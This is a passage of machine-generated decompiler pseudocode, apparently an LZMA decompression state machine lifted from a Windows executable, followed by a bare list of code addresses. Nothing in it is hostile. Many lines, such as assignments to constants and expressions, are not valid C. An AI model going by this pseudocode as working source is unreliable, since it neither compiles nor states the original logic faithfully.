												L23:
												 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
												if( *(_t613 - 0x48) != 0) {
													goto L21;
												}
												goto L24;
											case 4:
												L133:
												_t531 =  *_t606;
												_t589 = _t531 & 0x0000ffff;
												_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
												if( *(_t613 - 0xc) >= _t565) {
													 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
													 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
													 *(_t613 - 0x40) = 1;
													_t532 = _t531 - (_t531 >> 5);
													 *_t606 = _t532;
												} else {
													 *(_t613 - 0x10) = _t565;
													 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
													 *_t606 = (0x800 - _t589 >> 5) + _t531;
												}
												if( *(_t613 - 0x10) >= 0x1000000) {
													goto L139;
												}
											case 5:
												goto L137;
											case 6:
												__edx = 0;
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x34) = 1;
													 *(__ebp - 0x84) = 7;
													__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x5c) & 0x000000ff;
												__esi =  *(__ebp - 0x60);
												__cl = 8;
												__cl = 8 -  *(__ebp - 0x3c);
												__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
												__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
												__ecx =  *(__ebp - 0x3c);
												__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
												__ecx =  *(__ebp - 4);
												(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
												__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
												__eflags =  *(__ebp - 0x38) - 4;
												__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
												if( *(__ebp - 0x38) >= 4) {
													__eflags =  *(__ebp - 0x38) - 0xa;
													if( *(__ebp - 0x38) >= 0xa) {
														_t98 = __ebp - 0x38;
														 *_t98 =  *(__ebp - 0x38) - 6;
														__eflags =  *_t98;
													} else {
														 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
													}
												} else {
													 *(__ebp - 0x38) = 0;
												}
												__eflags =  *(__ebp - 0x34) - __edx;
												if( *(__ebp - 0x34) == __edx) {
													__ebx = 0;
													__ebx = 1;
													goto L61;
												} else {
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__ecx =  *(__ebp - 8);
													__ebx = 0;
													__ebx = 1;
													__al =  *((intOrPtr*)(__eax + __ecx));
													 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
													goto L41;
												}
											case 7:
												__eflags =  *(__ebp - 0x40) - 1;
												if( *(__ebp - 0x40) != 1) {
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x80) = 0x16;
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x28);
													 *(__ebp - 0x24) =  *(__ebp - 0x28);
													__eax =  *(__ebp - 0x2c);
													 *(__ebp - 0x28) =  *(__ebp - 0x2c);
													__eax = 0;
													__eflags =  *(__ebp - 0x38) - 7;
													0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
													__al = __al & 0x000000fd;
													__eax = (__eflags >= 0) - 1 + 0xa;
													 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
													__eax =  *(__ebp - 4);
													__eax =  *(__ebp - 4) + 0x664;
													__eflags = __eax;
													 *(__ebp - 0x58) = __eax;
													goto L69;
												}
												__eax =  *(__ebp - 4);
												__ecx =  *(__ebp - 0x38);
												 *(__ebp - 0x84) = 8;
												__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 8:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 4);
													__ecx =  *(__ebp - 0x38);
													 *(__ebp - 0x84) = 0xa;
													__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
												} else {
													__eax =  *(__ebp - 0x38);
													__ecx =  *(__ebp - 4);
													__eax =  *(__ebp - 0x38) + 0xf;
													 *(__ebp - 0x84) = 9;
													 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
													__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
												}
												while(1) {
													L132:
													 *(_t613 - 0x54) = _t606;
													goto L133;
												}
											case 9:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													goto L89;
												}
												__eflags =  *(__ebp - 0x60);
												if( *(__ebp - 0x60) == 0) {
													goto L171;
												}
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												_t259 =  *(__ebp - 0x38) - 7 >= 0;
												__eflags = _t259;
												0 | _t259 = _t259 + _t259 + 9;
												 *(__ebp - 0x38) = _t259 + _t259 + 9;
												goto L76;
											case 0xa:
												goto L0;
											case 0xb:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__ecx =  *(__ebp - 0x24);
													__eax =  *(__ebp - 0x20);
													 *(__ebp - 0x20) =  *(__ebp - 0x24);
												} else {
													__eax =  *(__ebp - 0x24);
												}
												__ecx =  *(__ebp - 0x28);
												 *(__ebp - 0x24) =  *(__ebp - 0x28);
												goto L88;
											case 0xc:
												L99:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xc;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t334 = __ebp - 0x70;
												 *_t334 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t334;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												__eax =  *(__ebp - 0x2c);
												goto L101;
											case 0xd:
												L37:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xd;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t122 = __ebp - 0x70;
												 *_t122 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t122;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L39:
												__eax =  *(__ebp - 0x40);
												__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
												if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
													goto L48;
												}
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													goto L54;
												}
												L41:
												__eax =  *(__ebp - 0x5b) & 0x000000ff;
												 *(__ebp - 0x5b) =  *(__ebp - 0x5b) << 1;
												__ecx =  *(__ebp - 0x58);
												__eax = ( *(__ebp - 0x5b) & 0x000000ff) >> 7;
												 *(__ebp - 0x48) = __eax;
												__eax = __eax + 1;
												__eax = __eax << 8;
												__eax = __eax + __ebx;
												__esi =  *(__ebp - 0x58) + __eax * 2;
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edx = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edx;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													 *(__ebp - 0x40) = 1;
													__cx = __ax >> 5;
													__eflags = __eax;
													__ebx = __ebx + __ebx + 1;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edx;
													0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L39;
												} else {
													goto L37;
												}
											case 0xe:
												L46:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xe;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t156 = __ebp - 0x70;
												 *_t156 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t156;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												while(1) {
													L48:
													__eflags = __ebx - 0x100;
													if(__ebx >= 0x100) {
														break;
													}
													__eax =  *(__ebp - 0x58);
													__edx = __ebx + __ebx;
													__ecx =  *(__ebp - 0x10);
													__esi = __edx + __eax;
													__ecx =  *(__ebp - 0x10) >> 0xb;
													__ax =  *__esi;
													 *(__ebp - 0x54) = __esi;
													__edi = __ax & 0x0000ffff;
													__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
													__eflags =  *(__ebp - 0xc) - __ecx;
													if( *(__ebp - 0xc) >= __ecx) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
														 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
														__cx = __ax;
														_t170 = __edx + 1; // 0x1
														__ebx = _t170;
														__cx = __ax >> 5;
														__eflags = __eax;
														 *__esi = __ax;
													} else {
														 *(__ebp - 0x10) = __ecx;
														0x800 = 0x800 - __edi;
														0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
														__ebx = __ebx + __ebx;
														 *__esi = __cx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0x10) >= 0x1000000) {
														continue;
													} else {
														goto L46;
													}
												}
												L54:
												_t173 = __ebp - 0x34;
												 *_t173 =  *(__ebp - 0x34) & 0x00000000;
												__eflags =  *_t173;
												goto L55;
											case 0xf:
												L58:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0xf;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t203 = __ebp - 0x70;
												 *_t203 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t203;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L60:
												__eflags = __ebx - 0x100;
												if(__ebx >= 0x100) {
													L55:
													__al =  *(__ebp - 0x44);
													 *(__ebp - 0x5c) =  *(__ebp - 0x44);
													goto L56;
												}
												L61:
												__eax =  *(__ebp - 0x58);
												__edx = __ebx + __ebx;
												__ecx =  *(__ebp - 0x10);
												__esi = __edx + __eax;
												__ecx =  *(__ebp - 0x10) >> 0xb;
												__ax =  *__esi;
												 *(__ebp - 0x54) = __esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													_t217 = __edx + 1; // 0x1
													__ebx = _t217;
													__cx = __ax >> 5;
													__eflags = __eax;
													 *__esi = __ax;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													__ebx = __ebx + __ebx;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												 *(__ebp - 0x44) = __ebx;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L60;
												} else {
													goto L58;
												}
											case 0x10:
												L109:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x10;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t365 = __ebp - 0x70;
												 *_t365 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t365;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												goto L111;
											case 0x11:
												goto L69;
											case 0x12:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													__eax =  *(__ebp - 0x58);
													 *(__ebp - 0x84) = 0x13;
													__esi =  *(__ebp - 0x58) + 2;
													while(1) {
														L132:
														 *(_t613 - 0x54) = _t606;
														goto L133;
													}
												}
												__eax =  *(__ebp - 0x4c);
												 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												__eflags = __eax;
												__eax =  *(__ebp - 0x58) + __eax + 4;
												goto L130;
											case 0x13:
												__eflags =  *(__ebp - 0x40);
												if( *(__ebp - 0x40) != 0) {
													_t469 = __ebp - 0x58;
													 *_t469 =  *(__ebp - 0x58) + 0x204;
													__eflags =  *_t469;
													 *(__ebp - 0x30) = 0x10;
													 *(__ebp - 0x40) = 8;
													L144:
													 *(__ebp - 0x7c) = 0x14;
													goto L145;
												}
												__eax =  *(__ebp - 0x4c);
												__ecx =  *(__ebp - 0x58);
												__eax =  *(__ebp - 0x4c) << 4;
												 *(__ebp - 0x30) = 8;
												__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
												L130:
												 *(__ebp - 0x58) = __eax;
												 *(__ebp - 0x40) = 3;
												goto L144;
											case 0x14:
												 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
												__eax =  *(__ebp - 0x80);
												 *(_t613 - 0x88) = _t533;
												goto L1;
											case 0x15:
												__eax = 0;
												__eflags =  *(__ebp - 0x38) - 7;
												0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
												__al = __al & 0x000000fd;
												__eax = (__eflags >= 0) - 1 + 0xb;
												 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
												goto L120;
											case 0x16:
												__eax =  *(__ebp - 0x30);
												__eflags = __eax - 4;
												if(__eax >= 4) {
													_push(3);
													_pop(__eax);
												}
												__ecx =  *(__ebp - 4);
												 *(__ebp - 0x40) = 6;
												__eax = __eax << 7;
												 *(__ebp - 0x7c) = 0x19;
												 *(__ebp - 0x58) = __eax;
												goto L145;
											case 0x17:
												L145:
												__eax =  *(__ebp - 0x40);
												 *(__ebp - 0x50) = 1;
												 *(__ebp - 0x48) =  *(__ebp - 0x40);
												goto L149;
											case 0x18:
												L146:
												__eflags =  *(__ebp - 0x6c);
												if( *(__ebp - 0x6c) == 0) {
													 *(__ebp - 0x88) = 0x18;
													goto L170;
												}
												__ecx =  *(__ebp - 0x70);
												__eax =  *(__ebp - 0xc);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
												__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
												 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
												 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												_t484 = __ebp - 0x70;
												 *_t484 =  *(__ebp - 0x70) + 1;
												__eflags =  *_t484;
												 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
												L148:
												_t487 = __ebp - 0x48;
												 *_t487 =  *(__ebp - 0x48) - 1;
												__eflags =  *_t487;
												L149:
												__eflags =  *(__ebp - 0x48);
												if( *(__ebp - 0x48) <= 0) {
													__ecx =  *(__ebp - 0x40);
													__ebx =  *(__ebp - 0x50);
													0 = 1;
													__eax = 1 << __cl;
													__ebx =  *(__ebp - 0x50) - (1 << __cl);
													__eax =  *(__ebp - 0x7c);
													 *(__ebp - 0x44) = __ebx;
													while(1) {
														 *(_t613 - 0x88) = _t533;
														goto L1;
													}
												}
												__eax =  *(__ebp - 0x50);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
												__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
												__eax =  *(__ebp - 0x58);
												__esi = __edx + __eax;
												 *(__ebp - 0x54) = __esi;
												__ax =  *__esi;
												__edi = __ax & 0x0000ffff;
												__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
												__eflags =  *(__ebp - 0xc) - __ecx;
												if( *(__ebp - 0xc) >= __ecx) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
													 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
													__cx = __ax;
													__cx = __ax >> 5;
													__eax = __eax - __ecx;
													__edx = __edx + 1;
													__eflags = __edx;
													 *__esi = __ax;
													 *(__ebp - 0x50) = __edx;
												} else {
													 *(__ebp - 0x10) = __ecx;
													0x800 = 0x800 - __edi;
													0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
													 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
													 *__esi = __cx;
												}
												__eflags =  *(__ebp - 0x10) - 0x1000000;
												if( *(__ebp - 0x10) >= 0x1000000) {
													goto L148;
												} else {
													goto L146;
												}
											case 0x19:
												__eflags = __ebx - 4;
												if(__ebx < 4) {
													 *(__ebp - 0x2c) = __ebx;
													L119:
													_t393 = __ebp - 0x2c;
													 *_t393 =  *(__ebp - 0x2c) + 1;
													__eflags =  *_t393;
													L120:
													__eax =  *(__ebp - 0x2c);
													__eflags = __eax;
													if(__eax == 0) {
														 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
														goto L170;
													}
													__eflags = __eax -  *(__ebp - 0x60);
													if(__eax >  *(__ebp - 0x60)) {
														goto L171;
													}
													 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
													__eax =  *(__ebp - 0x30);
													_t400 = __ebp - 0x60;
													 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
													__eflags =  *_t400;
													goto L123;
												}
												__ecx = __ebx;
												__eax = __ebx;
												__ecx = __ebx >> 1;
												__eax = __ebx & 0x00000001;
												__ecx = (__ebx >> 1) - 1;
												__al = __al | 0x00000002;
												__eax = (__ebx & 0x00000001) << __cl;
												__eflags = __ebx - 0xe;
												 *(__ebp - 0x2c) = __eax;
												if(__ebx >= 0xe) {
													__ebx = 0;
													 *(__ebp - 0x48) = __ecx;
													L102:
													__eflags =  *(__ebp - 0x48);
													if( *(__ebp - 0x48) <= 0) {
														__eax = __eax + __ebx;
														 *(__ebp - 0x40) = 4;
														 *(__ebp - 0x2c) = __eax;
														__eax =  *(__ebp - 4);
														__eax =  *(__ebp - 4) + 0x644;
														__eflags = __eax;
														L108:
														__ebx = 0;
														 *(__ebp - 0x58) = __eax;
														 *(__ebp - 0x50) = 1;
														 *(__ebp - 0x44) = 0;
														 *(__ebp - 0x48) = 0;
														L112:
														__eax =  *(__ebp - 0x40);
														__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
														if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
															_t391 = __ebp - 0x2c;
															 *_t391 =  *(__ebp - 0x2c) + __ebx;
															__eflags =  *_t391;
															goto L119;
														}
														__eax =  *(__ebp - 0x50);
														 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
														__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
														__eax =  *(__ebp - 0x58);
														__esi = __edi + __eax;
														 *(__ebp - 0x54) = __esi;
														__ax =  *__esi;
														__ecx = __ax & 0x0000ffff;
														__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
														__eflags =  *(__ebp - 0xc) - __edx;
														if( *(__ebp - 0xc) >= __edx) {
															__ecx = 0;
															 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
															__ecx = 1;
															 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
															__ebx = 1;
															__ecx =  *(__ebp - 0x48);
															__ebx = 1 << __cl;
															__ecx = 1 << __cl;
															__ebx =  *(__ebp - 0x44);
															__ebx =  *(__ebp - 0x44) | __ecx;
															__cx = __ax;
															__cx = __ax >> 5;
															__eax = __eax - __ecx;
															__edi = __edi + 1;
															__eflags = __edi;
															 *(__ebp - 0x44) = __ebx;
															 *__esi = __ax;
															 *(__ebp - 0x50) = __edi;
														} else {
															 *(__ebp - 0x10) = __edx;
															0x800 = 0x800 - __ecx;
															0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
															 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
															 *__esi = __dx;
														}
														__eflags =  *(__ebp - 0x10) - 0x1000000;
														if( *(__ebp - 0x10) >= 0x1000000) {
															L111:
															_t368 = __ebp - 0x48;
															 *_t368 =  *(__ebp - 0x48) + 1;
															__eflags =  *_t368;
															goto L112;
														} else {
															goto L109;
														}
													}
													__ecx =  *(__ebp - 0xc);
													__ebx = __ebx + __ebx;
													 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
													__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
													 *(__ebp - 0x44) = __ebx;
													if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
														__ecx =  *(__ebp - 0x10);
														 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
														__ebx = __ebx | 0x00000001;
														__eflags = __ebx;
														 *(__ebp - 0x44) = __ebx;
													}
													__eflags =  *(__ebp - 0x10) - 0x1000000;
													if( *(__ebp - 0x10) >= 0x1000000) {
														L101:
														_t338 = __ebp - 0x48;
														 *_t338 =  *(__ebp - 0x48) - 1;
														__eflags =  *_t338;
														goto L102;
													} else {
														goto L99;
													}
												}
												__edx =  *(__ebp - 4);
												__eax = __eax - __ebx;
												 *(__ebp - 0x40) = __ecx;
												__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
												goto L108;
											case 0x1a:
												L56:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1a;
													goto L170;
												}
												__ecx =  *(__ebp - 0x68);
												__al =  *(__ebp - 0x5c);
												__edx =  *(__ebp - 8);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *( *(__ebp - 0x68)) = __al;
												__ecx =  *(__ebp - 0x14);
												 *(__ecx +  *(__ebp - 8)) = __al;
												__eax = __ecx + 1;
												__edx = 0;
												_t192 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t192;
												goto L80;
											case 0x1b:
												L76:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													 *(__ebp - 0x88) = 0x1b;
													goto L170;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t275 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t275;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												_t284 = __ebp - 0x64;
												 *_t284 =  *(__ebp - 0x64) - 1;
												__eflags =  *_t284;
												 *( *(__ebp - 0x68)) = __cl;
												L80:
												 *(__ebp - 0x14) = __edx;
												goto L81;
											case 0x1c:
												while(1) {
													L123:
													__eflags =  *(__ebp - 0x64);
													if( *(__ebp - 0x64) == 0) {
														break;
													}
													__eax =  *(__ebp - 0x14);
													__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
													__eflags = __eax -  *(__ebp - 0x74);
													if(__eax >=  *(__ebp - 0x74)) {
														__eax = __eax +  *(__ebp - 0x74);
														__eflags = __eax;
													}
													__edx =  *(__ebp - 8);
													__cl =  *(__eax + __edx);
													__eax =  *(__ebp - 0x14);
													 *(__ebp - 0x5c) = __cl;
													 *(__eax + __edx) = __cl;
													__eax = __eax + 1;
													__edx = 0;
													_t414 = __eax %  *(__ebp - 0x74);
													__eax = __eax /  *(__ebp - 0x74);
													__edx = _t414;
													__eax =  *(__ebp - 0x68);
													 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
													 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
													 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
													__eflags =  *(__ebp - 0x30);
													 *( *(__ebp - 0x68)) = __cl;
													 *(__ebp - 0x14) = _t414;
													if( *(__ebp - 0x30) > 0) {
														continue;
													} else {
														L81:
														 *(__ebp - 0x88) = 2;
														goto L1;
													}
												}
												 *(__ebp - 0x88) = 0x1c;
												goto L170;
										}
									}
									L171:
									_t535 = _t534 | 0xffffffff;
									goto L172;
								}
							}
						}
					}
					goto L1;
				}
			}

0x00000000
0x00406409
0x00406409
0x0040640d
0x0040641a
0x00406424
0x00000000
0x0040640f
0x0040640f
0x0040644a
0x0040644d
0x00406450
0x00406453
0x00406453
0x00406456
0x0040645d
0x00406462
0x00406343
0x00406346
0x004066b8
0x004066b8
0x004066b8
0x004066bb
0x004066bb
0x004066bb
0x004066c1
0x004066c7
0x004066cd
0x004066e7
0x004066ea
0x004066f0
0x004066fb
0x004066fd
0x004066cf
0x004066cf
0x004066de
0x004066e2
0x004066e2
0x00406707
0x00000000
0x00000000
0x00406709
0x0040670d
0x004068bc
0x004068d2
0x004068da
0x004068e1
0x004068e3
0x004068ea
0x004068ee
0x004068ee
0x00406719
0x00406720
0x00406728
0x0040672b
0x0040672e
0x0040672e
0x00406734
0x00406734
0x00405ed0
0x00405ed0
0x00405ed0
0x00405ed9
0x00000000
0x00000000
0x00405edf
0x00000000
0x00405eea
0x00000000
